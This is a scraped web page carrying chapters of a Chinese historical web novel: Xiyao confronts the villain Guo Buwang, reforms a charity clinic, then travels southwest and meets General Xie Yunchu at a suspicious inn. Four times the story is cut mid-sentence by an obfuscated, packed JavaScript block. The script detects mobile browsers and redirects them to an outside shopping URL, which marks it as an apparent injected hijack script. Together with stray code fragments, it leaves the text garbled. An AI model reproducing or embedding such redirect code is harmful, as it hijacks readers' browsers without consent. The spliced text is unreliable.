“更不用说,好好的一个安济坊,原本是给穷苦大众看病治伤的地方,结果被你搞得乌烟瘴气,生了一点小病,就逼得人家卖身为奴,我倒是想问问,这些人,他们不是百姓吗?” “你懂什么,要成就大业,自然会有些许牺牲。”郭不忘的气势略有减弱,头却一直昂着,不肯认输。 “略有牺牲,这江南的百姓到你嘴里,怎么就变成了不值一提的略有牺牲。照此说来,大战前夕,主帅失踪,将士们先找主帅,牺牲个把村寨,不也是可以理解么?难道那里的百姓是百姓,这里的就不是吗?” 夕瑶越说气势越凶,双眼狠狠盯着郭不忘,说到急处,连手都举了起来,直直地指着他。“你给自己取名郭不忘,想来是要提醒自己,不要忘了乌金寨之役的仇恨吧。那这仇恨,为何只对着自己人呢?那些砍向百姓和将士的刀剑,是来自疾风军吗?还是来自交趾的大军呢?若是没有交趾的狼子野心,边疆安宁,别说援军延误,这里根本不应该有战争,不需要援军。如此简单的道理,你难道想不明白?” “你住嘴!你不过是和谢云初有了情愫,所以给他找借口推脱罢了。”郭不忘的嗓音再次响了起来,整个人在高台上暴走,“若是援军及时到达,乌金寨如何会被屠尽,这一切不都是拜他谢常青所赐吗?” “马守义,不,还是叫你郭不忘吧,你根本不配守义这个名字,你就是个懦夫,”夕瑶分毫不让。 “推算年龄,你可能还比谢云初年长一岁半岁。可是对比一下你们做的事情。谢云初十二岁就入了军营,十四岁做虞侯,能够带领小队上阵杀敌,十六岁做到副将,这么些年,东奔西战,一身伤疤换来边境的安宁。当年那不可一世的交趾大军,被我们打得窝在角落里连头都不敢伸,年年给我朝上贡。我不知道当年为何疾风军主帅会失踪,可就如你所说,当年谢云初也不过是个孩童。他尚且知道要接过父辈的责任,那你呢,你做了些什么?要是有朝一日,你见到九泉之下的父亲,你可能堂堂正正地和他说,父亲,孩儿没有辜负你的期待。” “你闭嘴,你闭嘴,闭嘴!”郭不忘半跪在高台上。夜里起风,吹得他发丝散乱,整个人看起来更癫狂了几分。“你少拿我父说事。我父亲马先,是个英勇的将士,最后战死在战场。而他呢,主帅谢常青,一个懦夫,临阵脱逃,贻误战机,导致战败。当今圣上也是个孬种,为了安抚疾风军,愣是不敢将此事说破。哼,别人不敢,我敢!我要将此事告知全天下之人,让他谢云初再也不能在人前抬起头来,为他父亲赎罪!” “你个蠢材!”万年不动怒的唐父也忍不住,他上前两步,开口就骂,“疾风军是本朝最英勇善战的军队,就是因为他们在,所以边境各地才能够安宁无事。若是疾风军动摇,那边境邻国蠢蠢欲动,回头受苦的还是边境的百姓。至于你说的主帅失踪之事,十几年了,你以为这是秘密吗?满朝文武,谁人不知。你要说便去说,看看世人是更在乎一起早年的悬案,还是更在乎眼前的安宁。” 只听见“轰隆隆”一声,远方传来响彻云霄的雷鸣声,紧接着,一道闪电从天空直劈而下,就在众人被眼前的强光恍得迷了眼之际,郭不忘一声怒红,从高台处背面一跃而下。 “他,他怎么跳下来了,这么高,可还有命?”唐家二叔大惊,那晒药的高台,足有三人多高,一般人跌下来可是不得了。 夕瑶大着胆子,从旁边的窄梯往上爬,走到一半,从高处看,谢云初已经被军士们背起,抬到边上的屋子去了。她略略放心,继续往上走,到了最高处,她朝着刚才郭不忘跃下的地方看去,一块凸起的石头上,有明显的手抓以后留下的痕迹。 “如何了?”唐父在下面伸长了脖子,焦急问道,“你别靠太近,警惕有什么机关暗器。” “没事,爹爹莫要担心,我估计这下面有暗道或者小径,郭不忘大约是沿着暗道逃走了。” 父女俩紧随着军士,一道去了边上谢云初歇息的屋子。唐父仔细给他诊了脉,“他体内原本就有陈旧的伤势未愈,气血不畅,加之情绪激动,急怒攻心,导致气血逆乱,一时无法支撑,故而晕厥。虽说不是大病,但是总归是伤身。现在需要先稳定他的情绪,再逐步调理旧伤,使气血得以恢复平和才好。” 然而就在第二天一早,疾风军全军拔营,离开了杭州城。 “姑娘,谢将军他们走了,怎么连个口信都不留?”紫草和银翘听到消息,可比夕瑶着急。 “人家疾风军的军务,为何要同我们说啊。原本就是刚好在一个案子里头遇上了而已。如今安济坊一案已经水落石出,人家自有自己的打算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864716|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”夕瑶忙着整理书斋里的东西,头也不抬,“你们倆来得正好,给我准备一个大箱子,我要把这些图纸都带去。” “姑娘,那你们俩......”银翘不明白,不是之前相互都有好感的吗?怎么一眨眼的时间,好像一切都变了。 见自家小姐不说话,紫草连忙找了个理由把银翘拉出屋子,“哎呀,你就别问了,没看到姑娘脸色都不好了吗?” “这是为什么啊?之前他们两人不是好好的么,怎么昨日出去了一趟,一切都变了。” “哎呀,总之你别问了。等姑娘想说的时候自然会说的。” 半日之后,京城皇宫大内的崇德苑中,透着纱帘,一双修长白净的手正握笔练字,边上一个黄门探头小声禀报,“主子,杭州这头,郭不忘身世已经曝光,通判府里的一概人等也都被抓获了,您看,要不要?”他做了一个手势,用手指在脖子前划拉了一下。 “无妨,这郭不忘可是好用的很啊,忠臣将门之后,又恨毒了疾风军。而疾风军偏又不能和他下手,你说这世上,还有比他更好用的棋子吗?” “主子说的是,这样只有郭不忘对疾风军下手的份。” “你找人盯着郭不忘,有什么异动随时来报。这个棋子,咱们可得好好用啊。”说着,帘后之人不再开口,继续低头练字。 “是,”黄门躬身静悄悄退了出去。 之后的几个月,夕瑶过得异常忙碌,忙到她没时间想念谢云初,没时间想念唐棠,甚至也没时间想起自己。 她花了图纸,让木匠打造了适合孩童适用的书桌,把安济坊西侧的两间厢房改成了孩子们的学堂,花重金请来了教书先生,教孩子们识字,算数。 书堂前侧的大屋,夕瑶托了叶大娘子,从苏州请来了绣娘,教授住在安济坊附近想学刺绣的女子们基本的刺绣之法。此举吸引来了附近不少有孩子的女眷们,既能把孩子放在学堂里读书,自己也能学些本事。中途休息的时候,还能帮着安济坊干点活儿,这倒是省下了不少安济坊原本请小厮的工钱。 而安济坊东侧的厢房连带着前面的花园,还是恢复最初的格局,做成候室,诊室,后面的原先荒废轻重症病区以及制药房也都逐渐恢复了功能。一开始大夫不足,唐老爷子挨个给杭州城里各个药铺写信,邀请大夫们每巡来几个时辰轮诊,倒也算是暂时解决了部分问题。 盛夏,就在这忙碌,有序中渐渐过去了。等后院的葡萄架上一串串青色的小果长大转紫的时候,夕瑶有了一丝丝的恍惚。呵,又是夏末了。 坐在葡萄架下的摇椅上,她小心翼翼地从怀中摸出了那个小小的荷包,指尖轻轻揉搓着一粒一粒的小珠珠,“唐棠,阿娘好想你啊。”她抓着荷包贴在脸颊之上。 抬头望着一轮弯月,不知疾风军的军械案,办得如何了。 118. 风雨云边 1 大雨,整整下了七日了。 原本这个季节,多是阵雨,顶多一天半天也就雨停了,可偏偏这场雨一直下个没完。 夕瑶摸了摸身上已经能够拧出水来的衣裳,望着灰蒙蒙的天,暗暗地叹了口气。明明是白天,天色却如此昏暗,可见云层厚重,这雨多半还是停不了。 “唐小姐,前面好似有个庙宇,咱们一路走来,也没看见附近有可以借宿的客栈,今夜怕是只能宿在庙里了。”大雨中,柳四的原本洪亮的声音也显得断断续续。 “无妨,庙里就庙里吧,能有片瓦遮雨已经很好了。”夕瑶生怕自己的声音也被雨声盖掉,艰难地回头对着柳四点了点头。 柳四回了个手势,右手伸出,食指和中指交替往前,表示他先去探探路,然后一打马,往前面的庙宇飞奔而去。 夕瑶也没想到,她一个闺阁女子,短短几日,竟然对于疾风军行军的各种手势已经非常熟悉。 事情要从8日前说起。 杭州城里,安济坊之前的弊案虽然已经肃清,可是要改头换面谈何容易。首当其冲的就是大夫数量的不足。之前的安济坊,其实原本大夫数量也远远不足,但是一来有吃空饷的问题,让账面看起来大夫数量是够的,如今一查,这亏空就凸显出来了。另外,在大夫的资质上,安济坊原有的大夫也是良莠不齐,导致不少庸医占了名额。 唐大人对坊内现有的大夫进行了一轮最最简单的考核,可是合格的大夫仅有三人。这可把人难坏了。三人哪里够用,就是邀请了别的医馆的大夫来轮流坐诊,缺口依旧很大。实在无奈,唐老爷子给原在白露山的师父白长亭写信求助,想问问有没有师门中表现不错,愿意来杭州当大夫的师弟们,请恩师给引荐一下。 这一问,出事儿了。 山中弟子回信,说就在前几日,师父接到了杭州通判大人的来信,信中说十四年前西南边陲疾风军主帅失踪的案子,牵扯到了白露山的独门秘药,请白山主前往协助探案。白长亭老爷子今年已经82了,虽说平日里身体健朗,可是毕竟也是个老人家了。弟子们都劝他不必亲自前往,派信得过的弟子前去就是了。可是老爷子哪里肯听,收到信的当天就收拾行李出发了,而且一个弟子都没带。 这封信,可把唐大人吓得不轻。郭不忘就是个疯子,为了报仇什么事情都做得出来,这次处心积虑把恩师诓骗了去,还不知道要做什么呢。可安济坊这头呢,万事刚刚开始,千头万绪的。库房要重新进药盘货,大夫们要培训考核,更不用说,眼看着已经夏末,换季正是大家容易患病的时候,之前荒废已久的制药房得用起来,简单的成药都得备上,这样回头百姓们有需要了,不至于手忙脚乱的。 一时间,唐大人陷入两难。一头是年迈的师父,而且大概率还是被自己牵连的。而另一头是杭州城里的百姓。自古忠孝难两全啊。 就在这时,夕瑶提出来,替父亲去西南,寻回师公。 家里人自然是反对的,一个女子,又不会武艺,路途遥远,万一遇到歹人可怎么了得。更不用说,前面搞不好就有郭不忘设下的圈套。可是看了一圈,的确也没有比夕瑶更合适的人选了。母亲身体不佳,自是不方便出远门,而二叔一家,在郭不忘之事过去的第二天,就四辆马车,一家人浩浩荡荡地回去了。 就这样,夕瑶踏上了去西南的远途。 “唐小姐,我里外都看过了,这庙宇似乎就是当地人用来供奉当地的土地爷的,里外一共三间房,没有厢房,也没有庙祝,估计是连日大雨的缘故,整个庙都是空的。”夕瑶刚下马,就看到已经探寻了一圈的柳四正走出门。 “辛苦你了,这庙里可有简单灶台?有马房吗?”夕瑶一手牵着马缰,一手抹了一把下巴上的水。虽说穿着蓑衣戴着锥帽,可这瓢泼的大雨,仿佛就像是从天上倒水一般,不仅身上湿透了,就连用油布包裹的行李,怕是也干不了多少。 “有,有灶台,我刚刚看过,边上还有一些柴火,够我们今晚烧水烧火用了。这里没有马房,但是有后院。唐小姐您把马给我,我牵去给他们歇一歇吃点草。对了,灶上我已经坐上了水,下面火也烧上了。”柳四说着,就牵着马儿去后院了。 夕瑶进屋,快速逛了一圈这个小庙。的确,除了供奉着土地公的正殿,剩下一间房,摆放着一桌四椅和窗边的一个高几,估计就是供香客们临时歇脚用的。另外就是后面的一间小小的灶房了。 灶上的水已经温热,边上有柳四刚刚刷洗过的木桶。夕瑶心里暖暖的,这趟出门,幸亏有柳四在。她装过了半桶水,拿到房里,又把灶上重新满上冷水继续烧,供一会儿柳四梳洗用。 一番简单梳洗,换了衣裳。虽说包裹里的衣裳也是潮潮的,但总比淌水的舒服不少。灶台这里,柳四也已经快速换好了干净的衣裳。 天色这会儿已经全黑,眼下这庙宇之中,只有灶房里头有火光照明,别的两间屋子,特别是正殿里头,风一吹,门窗发出呼呼的声音,伴随着飘起的香灰,多少有些阴森可怕。 夕瑶和柳四两人,围坐在灶台前,接着灶台里的火苗的热气,简单烘了烘自己身上的潮衣,顺带把随身带着的麦饼烤脆,配着灶上的热水好下肚。 一阵狂风吹来,伴随着庙门吱呀一声,柳四很警觉地坐起了身子,果然,一会儿工夫,夕瑶听到正殿里传来了脚步身。 这大晚上,如此偏僻的庙宇,居然还有人来?夕瑶的内心也紧张了起来。 只见柳四快速把灶台里燃着的木枝往里塞了塞,又小心取过一个锅盖,半罩在灶火口上。全程一点声音也没有发出来。这一番操作,灶房瞬间暗了下去,只有坐在灶前的夕瑶才能勉强看到炉膛里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971300|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的火光。 听脚步声,零零散散的,似乎不止一个人。等了一小会儿,正殿里头传来了微弱的烛光,估计是供台剩下的蜡烛被点亮了。 “这雨,都下了多少日子了,怎么还没个完呢?”雨势渐小,正殿里传来的声音也略清晰了些。一个中年男子抱怨的声音传来。 夕瑶心里点点头,可不就是么,这都下了七八日了,全身上下都湿答答的,可太不方便了。 “咱们这个地方啊,每年夏末就会有这样的大雨,年年如此,不过似乎今年略早了一些日子。”另一个男人的声音传来,光靠听的,似乎年纪更大一些,约莫有个五十左右吧。 “这身上带着的衣裳都湿了,老大哥,您在这里坐会儿,我去后面看看,要是有柴火的话,就捡一些来,咱们烘烘衣裳。” 话音刚落,柳四便警觉地往门后靠了靠,一手抓着腰间的匕首,还不忘把夕瑶的身型在灶台后头压低一些。 夕瑶也有些紧张。虽说很大可能对方只是刚好路过,可是荒郊野岭,又是两个人。若是真起了歹意,动起手来,柳四一个打两个,可不就是要吃亏。她蹲下身子,右手抓着绑在小腿上的特制弓弩。这是出门前柳四给她的,说是谢云初留下的,刚好适合女子防身用。 “你莫去折腾了,”年长男子似乎劝住了另一个,“这会儿已经不早了,赶紧换了衣裳,靠着垫子眯一会儿吧。睡不了两个时辰就要赶路了。要是等你找来柴火,生火烘衣,今夜怕就没得睡了。” “老大哥,这会儿不还早么,距离天亮且有好些时辰呢,怎么,您准备摸黑赶路啊?” “后生,你是第一次来这儿吧?”老大哥传来了低沉的咳嗽声。 “是啊,第一次来。” “怪不得,你从前没来过,自是不知晓。咱们走的这条道啊,叫孔雀岭,一直往西南走,约七八日天,就能到边境了。这条道,几乎是通往边关的唯一要道。可偏就是这样一条路上,驿站少的可怜,原本有好几家的,可不知为何,那些驿站,不是突然着火,就是驿丞重病,往往开不了多久就关了。从这里到下一个开着的驿站,可远着呢,若是摸黑赶路,这大下雨天,我估计也就是堪堪能赶到吧。” “那若是赶不到呢?莫不是要在路上歇息?这么大雨,一路上可有躲雨的地方?”中年男子的声音里带着一丝焦虑。 “有,这路上,有一个云边客栈。只是......” “只是如何?” 老大哥没回话,留给年轻些的男子自己去琢磨了。 灶台后头,夕瑶对着柳四做了个口型,“黑店?” 柳四摇摇头,他也是第一次来这里,对当地的情况不甚了解。这要真是个黑店,怕是一场硬战跑不了了。 他看着蹲在灶台前的夕瑶,眼睛里流露出了担忧的神情。 119. 风雨云边 2 好在那个年轻男子听劝,最后也没来灶房,让夕瑶和柳四都安生地过了一个晚上。 第二天清晨,夕瑶在睡意朦胧中听到了窗外的鸟叫声,睁开眼睛一看窗外,天亮了,雨也停了。一晚上靠着墙,腰酸背痛的,她揉了揉肩膀站起身来,心里嘀咕着,“不知道正殿里的两个人走了没有?” 正当她简单就着桶里的水梳洗完,犹豫着要不要推开门出去瞧瞧的时候,柳四推门进来。 “唐小姐,您醒了?” “是啊,睡醒了,对了,前面正殿的人走了吗?” “走了,一个亥时走的,另一个磨蹭到子时也走了。”柳四边说着,边把手上拿着的一把黑乎乎的东西放到锅里。 夕瑶探着脑袋一看,“是野栗子?” “是啊,没想到唐小姐识得这个。这野栗子外头长着一层刺,仿佛一个刺球,好多人都不认得。”说话的功夫,柳四蹲下身子,把灶台下的炉火又拨旺了些。“这野栗子原本去了刺,丢在炉膛里头也能熟,今日咱们有锅灶,倒是更方便些,放锅里一烤,等它那层壳爆开就能吃了。” 夕瑶看着柳四发丝间的露水,心里盘算了一下时辰,“你昨日一晚上怕是没什么睡吧,正殿里头有人,你时刻警惕着,等他们走了还出去采果子。哎,说来真是对不住,原是我家的事,让你活活吃了这一番苦。” “唐小姐哪里的话,将军将我留下,本就是为了在有需要的时候护唐小姐周全,更何况,这一趟出来,可比我们原先行军打仗舒服多了,可算不得吃什么苦。” “你们以前打仗,怕是辛苦和危险都有吧?”夕瑶不是娇娇女,从小就和父母随军,打仗是个什么样子,她幼年的记忆中一直留有印象。 “唐小姐真是说着了。其实大家都是大小伙子,吃住差一些,都好将就,实在不行,咱们还可以自己进山打猎,最麻烦的除了防止偷袭以外,就是饮水了。一条溪流,若是我们在下游敌方在上游,就很被动,得时刻提防敌军通过溪水投毒。我们派出去的探子,除了查探对方的军情以外,也得时刻盯着饮水的情况,一有状况,第一时间向下游预警。而同时预警也意味着暴露自己,所以最是辛苦和危险。” “说起来,我家将军就做过两年的暗探。连着几天没得睡觉那是常事。当时,咱们验毒的法子都还不成熟,将军得自己喝水验毒,有几次很是凶险。” “自己喝水验毒?就是自己喝下少量有怀疑的溪水,通过身体的反应来判断溪水是否有毒?这也太危险了,若是一不小心,量没掌握好,就容易出事。” “可不就是么,那真是九死一生,将军虽说年轻,身子强壮,可是当年这样的试毒,多少也影响了身体底子的。” 夕瑶点点头,回头有机会可以试着帮他慢慢把毒排出来。 看夕瑶面色紧张,柳四有意缓解一下气氛,“后来我们将军就学聪明啦,他武艺好,经常悄不溜地敲晕敌军的小将士,给他们灌点儿水,看看反应。” 一想到那个画面,夕瑶噗嗤一声笑出声来。 两人简单解决了早饭,骑着马一路往西南走。 和夕瑶想象的一路荒漠有些不同,两人走了大半日左右,就遇到了一个镇子,镇上零零种种的店铺还有不少。 “咱们看看有没有客栈吧,要是有的话,不如今日就住在这里,也免得去那个云边客栈。”夕瑶和柳四下马,两人牵着马匹,在镇子里走着。 说来奇怪,这个镇子看起来不小,本地居民和来往商贩也都不少,可是夕瑶和柳四兜了几圈,一家客栈都没看到。 夕瑶心中疑惑,正巧两人包袱里的干粮也不多了,就在街边一个卖胡饼的阿婆手中买了十来张胡饼,顺带问道,“阿婆,这个镇子里我看什么店都有,为何没有客栈啊?” “哎呀,咱们这个镇子啊,偏僻,原本没有多少本地人。后来因为朝廷开放了通商,这不,孔雀岭变成了大家南北贩货的必经之路,这才慢慢热闹了起来。镇子上啊,原本是有人开客栈的,可是也不知是怎么回事,开客栈总是不安宁,所以日子长了,就没有客栈了。” “阿婆,您说的不安宁是什么意思啊?”阿婆年纪大了,手脚慢,这胡饼生意好,眼看着后面的几个客人面露不耐烦之色,夕瑶索性把缰绳交给柳四,帮着阿婆一起装饼。 夕瑶动作麻利,眼看着一会儿功夫,摊子上的胡饼就卖的差不多了,阿婆心情也好,索性坐下来和夕瑶唠起了家常,她压低了声音道,“我们这里啊,原本是有客栈的,结果开了不到半年,就出了命案,一个晚上,一客栈的人都没了,那案子,到现在都还没有破呢。据说当时尸首抬出来,连客人带掌柜小二,可有是十数人呢。” “您是说,一夜之间,整个客栈的人都没了?” “可不就是么,说起来真的是太吓人了。后来啊,有人不信邪,又开了客栈。你也看到了,咱们这里来往的生意人多,真开了客栈啊,生意肯定不错。可是说来也邪门了,那个新的客栈,开了也就是几个月吧,也出事了。听说是做饭的时候,梁上盘旋了一条毒蛇,毒液滴进了饭食里,又闹出了人命。后来啊,咱们这里就传出了这样的说法,说是留宿外人,冲撞了神明,这才导致老是出人命的。” “毒蛇的毒液滴进了饭食里,导致客人被毒死了......”夕瑶口中喃喃,这世上真的有如此凑巧的事吗? “是啊,打那以后啊,咱们这里就再也没开过客栈了,别说开客栈,本地人连让外地人留宿都不敢,所以来往的客商要住宿的话,都得再往西走5里多路,去那里的云边客栈。说起来,如今天色已经不早了,女娃儿,你若是要住宿的话,可得快着点儿了,去晚了,就得走夜路了。” 夕瑶站起身,谢过了阿婆,正拉着马缰要往前走,又被阿婆叫住。 “女娃儿,你等一下。” “阿婆,何事?” “额......”阿婆有些吞吞吐吐的,似乎不知道要怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035485|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一只手伸向夕瑶,嘴巴里却没说出什么话来。 夕瑶走回阿婆身边,“阿婆,您可是有什么话要嘱咐我?” “嗨,你就当是老婆子我多事吧。女娃儿,你长得俊俏又年轻,这出门在外可得当心啊。” 阿婆从上到下打量了夕瑶一番,即便夕瑶脂粉未施,长发也只用简便的簪子挽起,依旧不减半分她的风采。 “老婆子估摸着,你今日晚上,怕是得宿在云边客栈了。哎,那可是个是非窝啊。你这么俊俏的小女娃就这样走进去了,怕是不安全。”阿婆话说得犹豫,可眼里的担忧却是藏不住。 “要我说啊,女娃子,你要是愿意,不妨去前面的成衣铺子,买一身男装换上,记得把腰这里多垫些,看起来腰粗一些。这出门在外,男子总是比女子方便些。” 夕瑶再次谢过了阿婆。 她走回柳四身边,压低了声音说道,“这已经是第二个人说起云边客栈了,而且听他们言下之意,这客栈貌似就是个黑店。只是如今,我们好像也没得选了。刚才卖胡饼的这阿婆和我说,让我去成衣铺子买套男装换上,我觉得倒是也可行。横竖我们之前的衣服都湿透了,也没法换洗,不如索性就买些衣裳?” 柳四牵着马,听夕瑶说完后点点头,“也好,只是唐小姐若是扮作男子,怕是太肤白了一些,不太像啊。” “这倒没事,我随身的包袱里带着药呢,略略涂一点,让肤色暗一些倒是便利。”夕瑶拍了拍马鞍侧边挂着的包袱,临出门前,父母可是给她准备了不少药丸药粉,说她行走江湖,指不定什么时候就用上了。没想到,还真用上了。 成衣铺子离阿婆的胡饼摊子并不远,沿着大街往前走,约一炷香的时间也就到了。 等夕瑶走到铺子门口,还是被这铺子的规模吓了一跳,这哪里是边境小镇的铺子啊,这规模,就是放到京城也不算小啊。 铺子一共上下两层,男女衣裳都有。下层走进去晃了一眼,发现基本都是卖些布衣短打,适合给小厮或者丫头婆子替换着穿。 掌柜的眼尖,一看到夕瑶这通身的气派就迎了上来,“小姐是从远方来吧,咱们这店虽小,倒是一年四季各种料子各种款式的衣裳都有,小姐您移步楼上去瞧瞧?” 到了楼上,夕瑶更是挑了一挑眉,这里可不只是内外的成衣,还有男女各种款式和尺码的鞋靴,甚至连女子的头面,男子发冠,腰间的香囊配饰也通通都有。边上还有几个房间,可以供客人换衣服之用。 掌柜的把夕瑶送上楼,安排了茶水,就很有眼力见儿地退下了,“小姐,您慢慢挑。” 夕瑶见柳四守在二楼楼梯口,倒是也放心,选了几套小尺码的男装,又眼疾手快抓了写女子的中衣和裹胸,一闪身进了换衣室。 一会儿工夫,夕瑶摇身一变,从窈窕的小娘子变成了俊俏的小郎君。 她拉开换衣室的门,一个高大的身影站在门外。 “你怎么会在这里?” 120. 风雨云边 3 夕瑶看着眼前的谢云初,似乎黑瘦了些,但是精神却不错,一双眼睛晶晶亮的。 谢云初略略歪着头,笑着看夕瑶,这一路风餐露宿,夕瑶也瘦了。原本就如一支新荷一般窈窕,如今这支荷花似乎多了一些坚毅。 “我一路跟着郭不忘,也追到这个镇上,刚好看到柳四留下的记号,就来了。” 他看着夕瑶,眼睛舍不得移开半分,倒是把夕瑶搞得有些不好意思。“我穿男装很奇怪吧?” “倒也不是,就是看着瘦小些。”谢云初带着几分戏谑,“嗯,也太白净了些。” 夕瑶白了他一眼,从随身的小箱子里拿出了两个小瓷瓶,倒出一些粉末,加了点茶水和开,然后一点点往自己脸上抹去。也就是一小会儿功夫,白净的皮肤没有了,变成了小麦色的一张脸。 “走吧,咱们得抓紧往前赶路了,今晚怕是得宿在云边客栈了。” “你不用找郭不忘了吗?” “这厮擅长易容,到了镇子上人多,一眨眼就不见了。兄弟们正在找呢,不碍事,横竖他也是往边境赶,丢不了。” 赶到云边客栈的时候,天上的太阳堪堪落下最后一抹余晖。夜幕之下,这家隐匿于西南边陲密林之中的客栈,仿佛是黑色海洋中唯一的一抹亮光。四周雾气缭绕,偶尔传来几声鹰隼的啼鸣,更添几分诡谲,让来往的行人有一种莫名的心惊。客栈外,几盏灯笼昏黄而摇曳,投射出的光斑在地面上跳跃,如同鬼魅般忽隐忽现。门楣上,一块斑驳的木牌上刻着“云边客栈”四个大字,字迹模糊,若是不仔细看的话,可能会以为那就是一块破木头牌子。 步入客栈,一股混合着酒香、药味,铁锈味,还有各种食物味道的复杂气息扑面而来,让夕瑶和谢云初都不由自主地警惕起来。相比外头的光线昏暗,客栈大堂内,倒是灯火通明。 夕瑶抬眼一望,云边客栈分为上下两层,下面这层是客栈大堂,也是供大家饭食的地方,而楼上一圈走廊,对应着一个一个的雕花木门,一看就是客房。 这会儿的一楼大堂内,约莫有七八张台子,每个台子上油灯摇曳,六七桌江湖人,或推杯换盏,或小声低语。他们的手边还放着各自的贴身包袱,从包袱的形状看,似乎有不少是兵器。而大门的右前方,是个木质高柜的吧台,凌乱放着写账簿和两个算盘,后面一整排的酒坛,一直堆满了半面墙。 “将军,这客栈后头有个颇大的院子,边上还有马房。我刚刚数了一下,马房里有十八匹马,”柳四从门口走进来,在谢云初边上耳语,想了一想,有补充道,“我刚刚抓了一把马槽里的草料,是上好的青草加上煮熟的黑豆。” 柳四声音压得很低,但是夕瑶和谢云初站得近,加上柳四也不避着她,所以听得颇为清楚。“上好的青草加维煮熟的黑豆?”夕瑶忍不住挑了挑眉毛。 这可是行家啊。青草料口感好,但是不耐饥,马儿即便是吃饱了,过不了几个时辰就跑不动了。而煮熟的黑豆呢,不仅口感喷香,而且消化吸收好,又耐饥,最是适合走远路的马儿。 门口站了一会儿,见迟迟没有人来招呼,谢云初拉着夕瑶的手腕,坐在一旁空着的台子上,扬起声量道,“掌柜的呢?要吃饭住店。” 三人刚坐下,就听到后面传来一个夹杂着娇柔和爽利的女声,“来啦,哎呀,今日客人多,怠慢贵客了,真是不好意思啊。” 几人闻声回头,只看见一个身姿高挑曼妙的女子手里拿着一个托盘,从后面款款走来。夕瑶也算是见人不少,见过京城的名门闺秀,见过江南的清秀佳人,幼时连宫中艳绝六宫的皇后也有幸见过,可是见到今日这位,她还是忍不住在心里称赞道,好一个佳人啊。 只见这女子穿一身胭脂水的长裙,腰间搭配蜜合色腰带和香囊。这胭脂水色极艳,日常很少有人敢穿,略有压不住的,便能将人穿成村姑。可这样艳丽的颜色,穿在这女子身上,非但没有将她压下去,配合着她头上一朵桃夭色的牡丹花,反倒撑得她艳丽而张扬。 她一路笑盈盈地走来,仿佛还带着一股子香气。顺手将托盘中的牛肉和一壶酒放在另一张桌子上。 见她要走,那张台子上的客人不依,拉着她的裙摆就嚷,“哎呀,牡丹啊,咱们都来了这么多次了,你怎么对我这么冷淡啊。我们哥俩在这里坐了半天了,也不见你来招呼,你看人家少年一坐下你就来了。”说着,手上使劲儿,拉着牡丹的手腕,硬要她陪着喝一杯。 夕瑶微微皱眉,这大庭广众之下,这样强迫一个女子,如何得了。 见她要站起来,谢云初俯身上来轻声说道,“再看看。” 果然,除了他们之外,在场的十余人对这情况见怪不怪,甚至还有人在一旁起哄,“就是啊,牡丹,你回头也陪哥哥我喝一个啊。” 那牡丹丝毫不见生气,一只玉手从袖子里伸出,翘着兰花指,食指就点在那汉子的额头上,“你个没良心的。是不是你说咱们店里的风干牛肉好吃,我见你来了,还特意去后厨帮你拿,你看,这挑的,可都是肥瘦相间,最适合入口的。你倒好,还怪我怠慢,得了,您出门好走吧,不送哈。” 说着,也没看清她怎么扭了扭手腕,就挣脱了那汉子的掌握,然后一回头,对了刚才起哄的男子就笑骂道,“我当时谁呢,原来是你这厮啊。哟,今日这衣着打扮,倒是像个人了啊。怎么,去年贩马,用劣质的淮马试图冒充良种的川马,被人打了一路,满头满脸血赤糊拉的,差点连门牙都敲掉了,还是我为你求的情,你都不记得啦。这会儿倒是猴子穿衣裳,装起人来了。” 见对方脸色不渝,她也丝毫没在怕的,“你既来了,那就索性把往日里的旧账都结一结吧。之前在店里吃的住的,都算一算。”说着,回身唤人,“阿大,把账本拿来,给洪爷好好算算帐。” 那汉子见她如此不给面子,眼看着就要恼。“臭婆娘,不就是帮我说了两句好话么,居然还抖起来了。”说着,他站起身,伸手就要打人。 说时迟那时快,一个身形壮如牛的汉子一手抓住了“洪爷”的胳膊,轻轻往反方向扭去,只见那“洪爷”疼得脸色都变了,连连叫道,“哎呦,疼疼疼,放手放手。” “阿大,账本呢?”牡丹伸手接过了账本,刷刷刷翻了几页,开口道,“洪爷,您去年在我这里一共花欠了160两银子,加上这趟的吃住,索性凑个整吧,200两如何?” “200两银子?”一时间大家议论纷纷。这年头,一般贫苦人家,一年到头也见不到几两银子。夕瑶白天在路边买了十几张胡饼,也就花了不到三十个铜钱。这200两,怕是很多人几辈子都赚不到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 